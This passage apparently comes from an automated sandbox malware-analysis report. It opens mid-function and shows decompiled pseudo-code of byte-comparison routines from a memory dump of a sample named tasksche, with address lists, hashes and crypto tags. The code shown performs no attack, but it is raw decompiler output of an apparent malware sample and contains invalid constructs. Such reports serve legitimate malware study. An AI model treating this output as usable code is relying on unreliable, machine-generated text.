								}
								goto L43;
							}
							_t309 = (0 | _t335 > 0x00000000) + (0 | _t335 > 0x00000000) - 1;
							if(_t309 != 0) {
								goto L1;
							}
							goto L41;
						}
						_t342 = (_t202 & 0x000000ff) - ( *(_t195 - 0x16) & 0x000000ff);
						if(_t342 == 0) {
							L30:
							_t344 = ( *(_t191 - 0x15) & 0x000000ff) - ( *(_t195 - 0x15) & 0x000000ff);
							if(_t344 == 0) {
								L32:
								_t346 = ( *(_t191 - 0x14) & 0x000000ff) - ( *(_t195 - 0x14) & 0x000000ff);
								if(_t346 == 0) {
									L34:
									_t309 = ( *(_t191 - 0x13) & 0x000000ff) - ( *(_t195 - 0x13) & 0x000000ff);
									if(_t309 != 0) {
										_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
									}
									goto L37;
								}
								_t309 = (0 | _t346 > 0x00000000) + (0 | _t346 > 0x00000000) - 1;
								if(_t309 != 0) {
									goto L1;
								}
								goto L34;
							}
							_t309 = (0 | _t344 > 0x00000000) + (0 | _t344 > 0x00000000) - 1;
							if(_t309 != 0) {
								goto L1;
							}
							goto L32;
						}
						_t309 = (0 | _t342 > 0x00000000) + (0 | _t342 > 0x00000000) - 1;
						if(_t309 != 0) {
							goto L1;
						}
						goto L30;
					}
					_t349 = (_t201 & 0x000000ff) - ( *(_t195 - 0x1a) & 0x000000ff);
					if(_t349 == 0) {
						L19:
						_t351 = ( *(_t191 - 0x19) & 0x000000ff) - ( *(_t195 - 0x19) & 0x000000ff);
						if(_t351 == 0) {
							L21:
							_t353 = ( *(_t191 - 0x18) & 0x000000ff) - ( *(_t195 - 0x18) & 0x000000ff);
							if(_t353 == 0) {
								L23:
								_t309 = ( *(_t191 - 0x17) & 0x000000ff) - ( *(_t195 - 0x17) & 0x000000ff);
								if(_t309 != 0) {
									_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
								}
								goto L26;
							}
							_t309 = (0 | _t353 > 0x00000000) + (0 | _t353 > 0x00000000) - 1;
							if(_t309 != 0) {
								goto L1;
							}
							goto L23;
						}
						_t309 = (0 | _t351 > 0x00000000) + (0 | _t351 > 0x00000000) - 1;
						if(_t309 != 0) {
							goto L1;
						}
						goto L21;
					}
					_t309 = (0 | _t349 > 0x00000000) + (0 | _t349 > 0x00000000) - 1;
					if(_t309 != 0) {
						goto L1;
					}
					goto L19;
				} else {
					__esi = __dl & 0x000000ff;
					__edx =  *(__ecx - 0x1e) & 0x000000ff;
					__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x1e) & 0x000000ff);
					if(__esi == 0) {
						L8:
						__esi =  *(__eax - 0x1d) & 0x000000ff;
						__edx =  *(__ecx - 0x1d) & 0x000000ff;
						__esi = ( *(__eax - 0x1d) & 0x000000ff) - ( *(__ecx - 0x1d) & 0x000000ff);
						if(__esi == 0) {
							L10:
							__esi =  *(__eax - 0x1c) & 0x000000ff;
							__edx =  *(__ecx - 0x1c) & 0x000000ff;
							__esi = ( *(__eax - 0x1c) & 0x000000ff) - ( *(__ecx - 0x1c) & 0x000000ff);
							if(__esi == 0) {
								L12:
								__esi =  *(__eax - 0x1b) & 0x000000ff;
								__edx =  *(__ecx - 0x1b) & 0x000000ff;
								__esi = ( *(__eax - 0x1b) & 0x000000ff) - ( *(__ecx - 0x1b) & 0x000000ff);
								if(__esi != 0) {
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = (__esi > 0) + (__esi > 0) - 1;
								}
								goto L15;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L1;
							}
							goto L12;
						}
						0 = 0 | __esi > 0x00000000;
						__edx = (__esi > 0) + (__esi > 0) - 1;
						__esi = __edx;
						if(__edx != 0) {
							goto L1;
						}
						goto L10;
					}
					0 = 0 | __esi > 0x00000000;
					__edx = (__esi > 0) + (__esi > 0) - 1;
					__esi = __edx;
					if(__edx != 0) {
						goto L1;
					}
					goto L8;
				}
				L1:
				_t192 = _t309;
				goto L3;
			}

0x0041b8b9
0x0041b8b9
0x0041b8bf
0x0041b93e
0x0041b940
0x0041b942
0x00000000
0x00000000
0x0041b948
0x0041b94e
0x0041b9cd
0x0041b9cf
0x0041b9d1
0x00000000
0x00000000
0x0041b9d7
0x0041b9dd
0x0041ba5c
0x0041ba5e
0x0041ba60
0x00000000
0x00000000
0x0041ba66
0x0041ba6c
0x0041baeb
0x0041baed
0x0041baef
0x00000000
0x00000000
0x0041baf5
0x0041bafb
0x0041bb7a
0x0041bb7c
0x0041bb7e
0x00000000
0x00000000
0x0041bb8a
0x0041bc0a
0x0041bc0c
0x0041bc0e
0x00000000
0x00000000
0x0041bc14
0x0041bc1a
0x0041bc99
0x0041bc9b
0x0041bc9d
0x00000000
0x00000000
0x0041bcab
0x0041b4a5
0x0041b4a7
0x0041c203
0x0041c203
0x0041bcb9
0x0041bcbb
0x0041b897
0x0041b89f
0x0041b8a1
0x0041b8b2
0x0041b8b2
0x00000000
0x0041b8a1
0x0041bcc8
0x0041bcce
0x0041c0e7
0x00000000
0x0041c0e7
0x00000000
0x0041bcd4
0x0041bc23
0x0041bc25
0x0041bc3c
0x0041bc44
0x0041bc46
0x0041bc5d
0x0041bc65
0x0041bc67
0x0041bc7e
0x0041bc86
0x0041bc88
0x0041bc95
0x0041bc95
0x00000000
0x0041bc88
0x0041bc74
0x0041bc78
0x00000000
0x00000000
0x00000000
0x0041bc78
0x0041bc53
0x0041bc57
0x00000000
0x00000000
0x00000000
0x0041bc57
0x0041bc32
0x0041bc36
0x00000000
0x00000000
0x00000000
0x0041bc36
0x0041bb94
0x0041bb96
0x0041bbad
0x0041bbb5
0x0041bbb7
0x0041bbce
0x0041bbd6
0x0041bbd8
0x0041bbef
0x0041bbf7
0x0041bbf9
0x0041bc06
0x0041bc06
0x00000000
0x0041bbf9
0x0041bbe5
0x0041bbe9
0x00000000
0x00000000
0x00000000
0x0041bbe9
0x0041bbc4
0x0041bbc8
0x00000000
0x00000000
0x00000000
0x0041bbc8
0x0041bba3
0x0041bba7
0x00000000
0x00000000
0x00000000
0x0041bba7
0x0041bb04
0x0041bb06
0x0041bb1d
0x0041bb25
0x0041bb27
0x0041bb3e
0x0041bb46
0x0041bb48
0x0041bb5f
0x0041bb67
0x0041bb69
0x0041bb76
0x0041bb76
0x00000000
0x0041bb69
0x0041bb55
0x0041bb59
0x00000000
0x00000000
0x00000000
0x0041bb59
0x0041bb34
0x0041bb38
0x00000000
0x00000000
0x00000000
0x0041bb38
0x0041bb13
0x0041bb17
0x00000000
0x00000000
0x00000000
0x0041bb17
0x0041ba75
0x0041ba77
0x0041ba8e
0x0041ba96
0x0041ba98
0x0041baaf
0x0041bab7
0x0041bab9
0x0041bad0
0x0041bad8
0x0041bada
0x0041bae7
0x0041bae7
0x00000000
0x0041bada
0x0041bac6
0x0041baca
0x00000000
0x00000000
0x00000000
0x0041baca
0x0041baa5
0x0041baa9
0x00000000
0x00000000
0x00000000
0x0041baa9
0x0041ba84
0x0041ba88
0x00000000
0x00000000
0x00000000
0x0041ba88
0x0041b9e6
0x0041b9e8
0x0041b9ff
0x0041ba07
0x0041ba09
0x0041ba20
0x0041ba28
0x0041ba2a
0x0041ba41
0x0041ba49
0x0041ba4b
0x0041ba58
0x0041ba58
0x00000000
0x0041ba4b
0x0041ba37
0x0041ba3b
0x00000000
0x00000000
0x00000000
0x0041ba3b
0x0041ba16
0x0041ba1a
0x00000000
0x00000000
0x00000000
0x0041ba1a
0x0041b9f5
0x0041b9f9
0x00000000
0x00000000
0x00000000
0x0041b9f9
0x0041b957
0x0041b959
0x0041b970
0x0041b978
0x0041b97a
0x0041b991
0x0041b999
0x0041b99b
0x0041b9b2
0x0041b9ba
0x0041b9bc
0x0041b9c9
0x0041b9c9
0x00000000
0x0041b9bc
0x0041b9a8
0x0041b9ac
0x00000000
0x00000000
0x00000000
0x0041b9ac
0x0041b987
0x0041b98b
0x00000000
0x00000000
0x00000000
0x0041b98b
0x0041b966
0x0041b96a
0x00000000
0x00000000
0x00000000
0x0041b8c1
0x0041b8c1
0x0041b8c4
0x0041b8c8
0x0041b8ca
0x0041b8e1
0x0041b8e1
0x0041b8e5
0x0041b8e9
0x0041b8eb
0x0041b902
0x0041b902
0x0041b906
0x0041b90a
0x0041b90c
0x0041b923
0x0041b923
0x0041b927
0x0041b92b
0x0041b92d
0x0041b933
0x0041b936
0x0041b93a
0x0041b93a
0x00000000
0x0041b92d
0x0041b912
0x0041b915
0x0041b919
0x0041b91d
0x00000000
0x00000000
0x00000000
0x0041b91d
0x0041b8f1
0x0041b8f4
0x0041b8f8
0x0041b8fc
0x00000000
0x00000000
0x00000000
0x0041b8fc
0x0041b8d0
0x0041b8d3
0x0041b8d7
0x0041b8db
0x00000000
0x00000000
0x00000000
0x0041b8db
0x0041b0d2
0x0041b0d2
0x00000000

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction ID: 1a9104bdc18b99a6bc3a57d880f0b00b8efb4b2948f4f82757f4a36a4691901f
Opcode Fuzzy Hash: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction Fuzzy Hash: 8DD18E73D1E9B30A8735812D80682ABEE62AFD175031EC3E2DCE42F389D72B5D9195D4

Uniqueness

Uniqueness Score: -1.00%

Function 0041B4AD Relevance: .4, Instructions: 361
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0041B4AD(void* __eax, void* __ecx) {
				void* _t183;
				signed int _t184;
				void* _t187;
				signed char _t193;
				signed char _t194;
				signed char _t195;
				signed char _t196;
				signed char _t198;
				signed int _t296;
				void* _t299;
				void* _t301;
				void* _t303;
				void* _t306;
				void* _t308;
				void* _t310;
				void* _t313;
				void* _t315;
				void* _t317;
				void* _t320;
				void* _t322;
				void* _t324;
				void* _t327;
				void* _t329;
				void* _t331;
				void* _t334;
				void* _t336;
				void* _t338;

				_t187 = __ecx;
				_t183 = __eax;
				if( *((intOrPtr*)(__eax - 0x1d)) ==  *((intOrPtr*)(__ecx - 0x1d))) {
					_t296 = 0;
					L12:
					if(_t296 != 0) {
						goto L1;
					}
					_t193 =  *(_t183 - 0x19);
					if(_t193 ==  *(_t187 - 0x19)) {
						_t296 = 0;
						L23:
						if(_t296 != 0) {
							goto L1;
						}
						_t194 =  *(_t183 - 0x15);
						if(_t194 ==  *(_t187 - 0x15)) {
							_t296 = 0;
							L34:
							if(_t296 != 0) {
								goto L1;
							}
							_t195 =  *(_t183 - 0x11);
							if(_t195 ==  *(_t187 - 0x11)) {
								_t296 = 0;
								L45:
								if(_t296 != 0) {
									goto L1;
								}
								_t196 =  *(_t183 - 0xd);
								if(_t196 ==  *(_t187 - 0xd)) {
									_t296 = 0;
									L56:
									if(_t296 != 0) {
										goto L1;
									}
									if( *(_t183 - 9) ==  *(_t187 - 9)) {
										_t296 = 0;
										L67:
										if(_t296 != 0) {
											goto L1;
										}
										_t198 =  *(_t183 - 5);
										if(_t198 ==  *(_t187 - 5)) {
											_t296 = 0;
											L78:
											if(_t296 != 0) {
												goto L1;
											}
											_t184 = ( *(_t183 - 1) & 0x000000ff) - ( *(_t187 - 1) & 0x000000ff);
											if(_t184 != 0) {
												_t184 = (0 | _t184 > 0x00000000) + (0 | _t184 > 0x00000000) - 1;
											}
											L2:
											return _t184;
										}
										_t299 = (_t198 & 0x000000ff) - ( *(_t187 - 5) & 0x000000ff);
										if(_t299 == 0) {
											L71:
											_t301 = ( *(_t183 - 4) & 0x000000ff) - ( *(_t187 - 4) & 0x000000ff);
											if(_t301 == 0) {
												L73:
												_t303 = ( *(_t183 - 3) & 0x000000ff) - ( *(_t187 - 3) & 0x000000ff);
												if(_t303 == 0) {
													L75:
													_t296 = ( *(_t183 - 2) & 0x000000ff) - ( *(_t187 - 2) & 0x000000ff);
													if(_t296 != 0) {
														_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
													}
													goto L78;
												}
												_t296 = (0 | _t303 > 0x00000000) + (0 | _t303 > 0x00000000) - 1;
												if(_t296 != 0) {
													goto L1;
												}
												goto L75;
											}
											_t296 = (0 | _t301 > 0x00000000) + (0 | _t301 > 0x00000000) - 1;
											if(_t296 != 0) {
												goto L1;
											}
											goto L73;
										}
										_t296 = (0 | _t299 > 0x00000000) + (0 | _t299 > 0x00000000) - 1;
										if(_t296 != 0) {
											goto L1;
										}
										goto L71;
									}
									_t306 = ( *(_t183 - 9) & 0x000000ff) - ( *(_t187 - 9) & 0x000000ff);
									if(_t306 == 0) {
										L60:
										_t308 = ( *(_t183 - 8) & 0x000000ff) - ( *(_t187 - 8) & 0x000000ff);
										if(_t308 == 0) {
											L62:
											_t310 = ( *(_t183 - 7) & 0x000000ff) - ( *(_t187 - 7) & 0x000000ff);
											if(_t310 == 0) {
												L64:
												_t296 = ( *(_t183 - 6) & 0x000000ff) - ( *(_t187 - 6) & 0x000000ff);
												if(_t296 != 0) {
													_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
												}
												goto L67;
											}
											_t296 = (0 | _t310 > 0x00000000) + (0 | _t310 > 0x00000000) - 1;
											if(_t296 != 0) {
												goto L1;
											}
											goto L64;
										}
										_t296 = (0 | _t308 > 0x00000000) + (0 | _t308 > 0x00000000) - 1;
										if(_t296 != 0) {
											goto L1;
										}
										goto L62;
									}
									_t296 = (0 | _t306 > 0x00000000) + (0 | _t306 > 0x00000000) - 1;
									if(_t296 != 0) {
										goto L1;
									}
									goto L60;
								}
								_t313 = (_t196 & 0x000000ff) - ( *(_t187 - 0xd) & 0x000000ff);
								if(_t313 == 0) {
									L49:
									_t315 = ( *(_t183 - 0xc) & 0x000000ff) - ( *(_t187 - 0xc) & 0x000000ff);
									if(_t315 == 0) {
										L51:
										_t317 = ( *(_t183 - 0xb) & 0x000000ff) - ( *(_t187 - 0xb) & 0x000000ff);
										if(_t317 == 0) {
											L53:
											_t296 = ( *(_t183 - 0xa) & 0x000000ff) - ( *(_t187 - 0xa) & 0x000000ff);
											if(_t296 != 0) {
												_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
											}
											goto L56;
										}
										_t296 = (0 | _t317 > 0x00000000) + (0 | _t317 > 0x00000000) - 1;
										if(_t296 != 0) {
											goto L1;
										}
										goto L53;
									}
									_t296 = (0 | _t315 > 0x00000000) + (0 | _t315 > 0x00000000) - 1;
									if(_t296 != 0) {
										goto L1;
									}
									goto L51;
								}
								_t296 = (0 | _t313 > 0x00000000) + (0 | _t313 > 0x00000000) - 1;
								if(_t296 != 0) {
									goto L1;
								}
								goto L49;
							}
							_t320 = (_t195 & 0x000000ff) - ( *(_t187 - 0x11) & 0x000000ff);
							if(_t320 == 0) {
								L38:
								_t322 = ( *(_t183 - 0x10) & 0x000000ff) - ( *(_t187 - 0x10) & 0x000000ff);
								if(_t322 == 0) {
									L40:
									_t324 = ( *(_t183 - 0xf) & 0x000000ff) - ( *(_t187 - 0xf) & 0x000000ff);
									if(_t324 == 0) {
										L42:
										_t296 = ( *(_t183 - 0xe) & 0x000000ff) - ( *(_t187 - 0xe) & 0x000000ff);
										if(_t296 != 0) {
											_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
										}
										goto L45;
									}
									_t296 = (0 | _t324 > 0x00000000) + (0 | _t324 > 0x00000000) - 1;
									if(_t296 != 0) {
										goto L1;
									}
									goto L42;
								}
								_t296 = (0 | _t322 > 0x00000000) + (0 | _t322 > 0x00000000) - 1;
								if(_t296 != 0) {
									goto L1;
								}
								goto L40;
							}
							_t296 = (0 | _t320 > 0x00000000) + (0 | _t320 > 0x00000000) - 1;
							if(_t296 != 0) {
								goto L1;
							}
							goto L38;
						}
						_t327 = (_t194 & 0x000000ff) - ( *(_t187 - 0x15) & 0x000000ff);
						if(_t327 == 0) {
							L27:
							_t329 = ( *(_t183 - 0x14) & 0x000000ff) - ( *(_t187 - 0x14) & 0x000000ff);
							if(_t329 == 0) {
								L29:
								_t331 = ( *(_t183 - 0x13) & 0x000000ff) - ( *(_t187 - 0x13) & 0x000000ff);
								if(_t331 == 0) {
									L31:
									_t296 = ( *(_t183 - 0x12) & 0x000000ff) - ( *(_t187 - 0x12) & 0x000000ff);
									if(_t296 != 0) {
										_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
									}
									goto L34;
								}
								_t296 = (0 | _t331 > 0x00000000) + (0 | _t331 > 0x00000000) - 1;
								if(_t296 != 0) {
									goto L1;
								}
								goto L31;
							}
							_t296 = (0 | _t329 > 0x00000000) + (0 | _t329 > 0x00000000) - 1;
							if(_t296 != 0) {
								goto L1;
							}
							goto L29;
						}
						_t296 = (0 | _t327 > 0x00000000) + (0 | _t327 > 0x00000000) - 1;
						if(_t296 != 0) {
							goto L1;
						}
						goto L27;
					}
					_t334 = (_t193 & 0x000000ff) - ( *(_t187 - 0x19) & 0x000000ff);
					if(_t334 == 0) {
						L16:
						_t336 = ( *(_t183 - 0x18) & 0x000000ff) - ( *(_t187 - 0x18) & 0x000000ff);
						if(_t336 == 0) {
							L18:
							_t338 = ( *(_t183 - 0x17) & 0x000000ff) - ( *(_t187 - 0x17) & 0x000000ff);
							if(_t338 == 0) {
								L20:
								_t296 = ( *(_t183 - 0x16) & 0x000000ff) - ( *(_t187 - 0x16) & 0x000000ff);
								if(_t296 != 0) {
									_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
								}
								goto L23;
							}
							_t296 = (0 | _t338 > 0x00000000) + (0 | _t338 > 0x00000000) - 1;
							if(_t296 != 0) {
								goto L1;
							}
							goto L20;
						}
						_t296 = (0 | _t336 > 0x00000000) + (0 | _t336 > 0x00000000) - 1;
						if(_t296 != 0) {
							goto L1;
						}
						goto L18;
					}
					_t296 = (0 | _t334 > 0x00000000) + (0 | _t334 > 0x00000000) - 1;
					if(_t296 != 0) {
						goto L1;
					}
					goto L16;
				} else {
					__esi = __dl & 0x000000ff;
					__edx =  *(__ecx - 0x1d) & 0x000000ff;
					__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x1d) & 0x000000ff);
					if(__esi == 0) {
						L5:
						__esi =  *(__eax - 0x1c) & 0x000000ff;
						__edx =  *(__ecx - 0x1c) & 0x000000ff;
						__esi = ( *(__eax - 0x1c) & 0x000000ff) - ( *(__ecx - 0x1c) & 0x000000ff);
						if(__esi == 0) {
							L7:
							__esi =  *(__eax - 0x1b) & 0x000000ff;
							__edx =  *(__ecx - 0x1b) & 0x000000ff;
							__esi = ( *(__eax - 0x1b) & 0x000000ff) - ( *(__ecx - 0x1b) & 0x000000ff);
							if(__esi == 0) {
								L9:
								__esi =  *(__eax - 0x1a) & 0x000000ff;
								__edx =  *(__ecx - 0x1a) & 0x000000ff;
								__esi = ( *(__eax - 0x1a) & 0x000000ff) - ( *(__ecx - 0x1a) & 0x000000ff);
								if(__esi != 0) {
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = (__esi > 0) + (__esi > 0) - 1;
								}
								goto L12;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L1;
							}
							goto L9;
						}
						0 = 0 | __esi > 0x00000000;
						__edx = (__esi > 0) + (__esi > 0) - 1;
						__esi = __edx;
						if(__edx != 0) {
							goto L1;
						}
						goto L7;
					}
					0 = 0 | __esi > 0x00000000;
					__edx = (__esi > 0) + (__esi > 0) - 1;
					__esi = __edx;
					if(__edx != 0) {
						goto L1;
					}
					goto L5;
				}
				L1:
				_t184 = _t296;
				goto L2;
			}

0x0041b4ad
0x0041b4ad
0x0041b4b3
0x0041b532
0x0041b534
0x0041b536
0x00000000
0x00000000
0x0041b53c
0x0041b542
0x0041b5c1
0x0041b5c3
0x0041b5c5
0x00000000
0x00000000
0x0041b5cb
0x0041b5d1
0x0041b650
0x0041b652
0x0041b654
0x00000000
0x00000000
0x0041b65a
0x0041b660
0x0041b6df
0x0041b6e1
0x0041b6e3
0x00000000
0x00000000
0x0041b6e9
0x0041b6ef
0x0041b76e
0x0041b770
0x0041b772
0x00000000
0x00000000
0x0041b77e
0x0041b7fe
0x0041b800
0x0041b802
0x00000000
0x00000000
0x0041b808
0x0041b80e
0x0041b88d
0x0041b88f
0x0041b891
0x00000000
0x00000000
0x0041b89f
0x0041b8a1
0x0041b8b2
0x0041b8b2
0x0041b4a7
0x0041c203
0x0041c203
0x0041b817
0x0041b819
0x0041b830
0x0041b838
0x0041b83a
0x0041b851
0x0041b859
0x0041b85b
0x0041b872
0x0041b87a
0x0041b87c
0x0041b889
0x0041b889
0x00000000
0x0041b87c
0x0041b868
0x0041b86c
0x00000000
0x00000000
0x00000000
0x0041b86c
0x0041b847
0x0041b84b
0x00000000
0x00000000
0x00000000
0x0041b84b
0x0041b826
0x0041b82a
0x00000000
0x00000000
0x00000000
0x0041b82a
0x0041b788
0x0041b78a
0x0041b7a1
0x0041b7a9
0x0041b7ab
0x0041b7c2
0x0041b7ca
0x0041b7cc
0x0041b7e3
0x0041b7eb
0x0041b7ed
0x0041b7fa
0x0041b7fa
0x00000000
0x0041b7ed
0x0041b7d9
0x0041b7dd
0x00000000
0x00000000
0x00000000
0x0041b7dd
0x0041b7b8
0x0041b7bc
0x00000000
0x00000000
0x00000000
0x0041b7bc
0x0041b797
0x0041b79b
0x00000000
0x00000000
0x00000000
0x0041b79b
0x0041b6f8
0x0041b6fa
0x0041b711
0x0041b719
0x0041b71b
0x0041b732
0x0041b73a
0x0041b73c
0x0041b753
0x0041b75b
0x0041b75d
0x0041b76a
0x0041b76a
0x00000000
0x0041b75d
0x0041b749
0x0041b74d
0x00000000
0x00000000
0x00000000
0x0041b74d
0x0041b728
0x0041b72c
0x00000000
0x00000000
0x00000000
0x0041b72c
0x0041b707
0x0041b70b
0x00000000
0x00000000
0x00000000
0x0041b70b
0x0041b669
0x0041b66b
0x0041b682
0x0041b68a
0x0041b68c
0x0041b6a3
0x0041b6ab
0x0041b6ad
0x0041b6c4
0x0041b6cc
0x0041b6ce
0x0041b6db
0x0041b6db
0x00000000
0x0041b6ce
0x0041b6ba
0x0041b6be
0x00000000
0x00000000
0x00000000
0x0041b6be
0x0041b699
0x0041b69d
0x00000000
0x00000000
0x00000000
0x0041b69d
0x0041b678
0x0041b67c
0x00000000
0x00000000
0x00000000
0x0041b67c
0x0041b5da
0x0041b5dc
0x0041b5f3
0x0041b5fb
0x0041b5fd
0x0041b614
0x0041b61c
0x0041b61e
0x0041b635
0x0041b63d
0x0041b63f
0x0041b64c
0x0041b64c
0x00000000
0x0041b63f
0x0041b62b
0x0041b62f
0x00000000
0x00000000
0x00000000
0x0041b62f
0x0041b60a
0x0041b60e
0x00000000
0x00000000
0x00000000
0x0041b60e
0x0041b5e9
0x0041b5ed
0x00000000
0x00000000
0x00000000
0x0041b5ed
0x0041b54b
0x0041b54d
0x0041b564
0x0041b56c
0x0041b56e
0x0041b585
0x0041b58d
0x0041b58f
0x0041b5a6
0x0041b5ae
0x0041b5b0
0x0041b5bd
0x0041b5bd
0x00000000
0x0041b5b0
0x0041b59c
0x0041b5a0
0x00000000
0x00000000
0x00000000
0x0041b5a0
0x0041b57b
0x0041b57f
0x00000000
0x00000000
0x00000000
0x0041b57f
0x0041b55a
0x0041b55e
0x00000000
0x00000000
0x00000000
0x0041b4b5
0x0041b4b5
0x0041b4b8
0x0041b4bc
0x0041b4be
0x0041b4d5
0x0041b4d5
0x0041b4d9
0x0041b4dd
0x0041b4df
0x0041b4f6
0x0041b4f6
0x0041b4fa
0x0041b4fe
0x0041b500
0x0041b517
0x0041b517
0x0041b51b
0x0041b51f
0x0041b521
0x0041b527
0x0041b52a
0x0041b52e
0x0041b52e
0x00000000
0x0041b521
0x0041b506
0x0041b509
0x0041b50d
0x0041b511
0x00000000
0x00000000
0x00000000
0x0041b511
0x0041b4e5
0x0041b4e8
0x0041b4ec
0x0041b4f0
0x00000000
0x00000000
0x00000000
0x0041b4f0
0x0041b4c4
0x0041b4c7
0x0041b4cb
0x0041b4cf
0x00000000
0x00000000
0x00000000
0x0041b4cf
0x0041b0d2
0x0041b0d2
0x00000000

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction ID: 29e0c2194e43b481a6c61040bafb45c2199937250b84d4f9493dc4b244529513
Opcode Fuzzy Hash: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction Fuzzy Hash: 24C16E73C0E9B30A8736812D81685ABEE62AFD175031FC3A2DCE42F389D36B5D9195D4

Uniqueness

Uniqueness Score: -1.00%

Function 0041B0D9 Relevance: .4, Instructions: 351
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0041B0D9(void* __eax, void* __ecx) {
				void* _t177;
				signed int _t178;
				void* _t181;
				signed char _t187;
				signed char _t188;
				signed char _t189;
				signed char _t191;
				signed char _t192;
				signed int _t198;
				signed int _t284;
				void* _t287;
				void* _t289;
				void* _t291;
				void* _t293;
				void* _t295;
				void* _t297;
				void* _t300;
				void* _t302;
				void* _t304;
				void* _t307;
				void* _t309;
				void* _t311;
				void* _t314;
				void* _t316;
				void* _t318;
				void* _t321;
				void* _t323;
				void* _t325;

				_t181 = __ecx;
				_t177 = __eax;
				if( *((intOrPtr*)(__eax - 0x1c)) ==  *((intOrPtr*)(__ecx - 0x1c))) {
					_t284 = 0;
					L11:
					if(_t284 != 0) {
						goto L1;
					}
					_t187 =  *(_t177 - 0x18);
					if(_t187 ==  *(_t181 - 0x18)) {
						_t284 = 0;
						L22:
						if(_t284 != 0) {
							goto L1;
						}
						_t188 =  *(_t177 - 0x14);
						if(_t188 ==  *(_t181 - 0x14)) {
							_t284 = 0;
							L33:
							if(_t284 != 0) {
								goto L1;
							}
							_t189 =  *(_t177 - 0x10);
							if(_t189 ==  *(_t181 - 0x10)) {
								_t284 = 0;
								L44:
								if(_t284 != 0) {
									goto L1;
								}
								if( *(_t177 - 0xc) ==  *(_t181 - 0xc)) {
									_t284 = 0;
									L55:
									if(_t284 != 0) {
										goto L1;
									}
									_t191 =  *(_t177 - 8);
									if(_t191 ==  *(_t181 - 8)) {
										_t284 = 0;
										L66:
										if(_t284 != 0) {
											goto L1;
										}
										_t192 =  *(_t177 - 4);
										if(_t192 ==  *(_t181 - 4)) {
											_t178 = 0;
											L78:
											if(_t178 == 0) {
												_t178 = 0;
											}
											L80:
											return _t178;
										}
										_t287 = (_t192 & 0x000000ff) - ( *(_t181 - 4) & 0x000000ff);
										if(_t287 == 0) {
											L70:
											_t289 = ( *(_t177 - 3) & 0x000000ff) - ( *(_t181 - 3) & 0x000000ff);
											if(_t289 == 0) {
												L72:
												_t291 = ( *(_t177 - 2) & 0x000000ff) - ( *(_t181 - 2) & 0x000000ff);
												if(_t291 == 0) {
													L75:
													_t178 = ( *(_t177 - 1) & 0x000000ff) - ( *(_t181 - 1) & 0x000000ff);
													if(_t178 != 0) {
														_t178 = (0 | _t178 > 0x00000000) + (0 | _t178 > 0x00000000) - 1;
													}
													goto L78;
												}
												_t198 = (0 | _t291 > 0x00000000) + (0 | _t291 > 0x00000000) - 1;
												if(_t198 == 0) {
													goto L75;
												}
												L74:
												_t178 = _t198;
												goto L78;
											}
											_t198 = (0 | _t289 > 0x00000000) + (0 | _t289 > 0x00000000) - 1;
											if(_t198 != 0) {
												goto L74;
											}
											goto L72;
										}
										_t198 = (0 | _t287 > 0x00000000) + (0 | _t287 > 0x00000000) - 1;
										if(_t198 != 0) {
											goto L74;
										}
										goto L70;
									}
									_t293 = (_t191 & 0x000000ff) - ( *(_t181 - 8) & 0x000000ff);
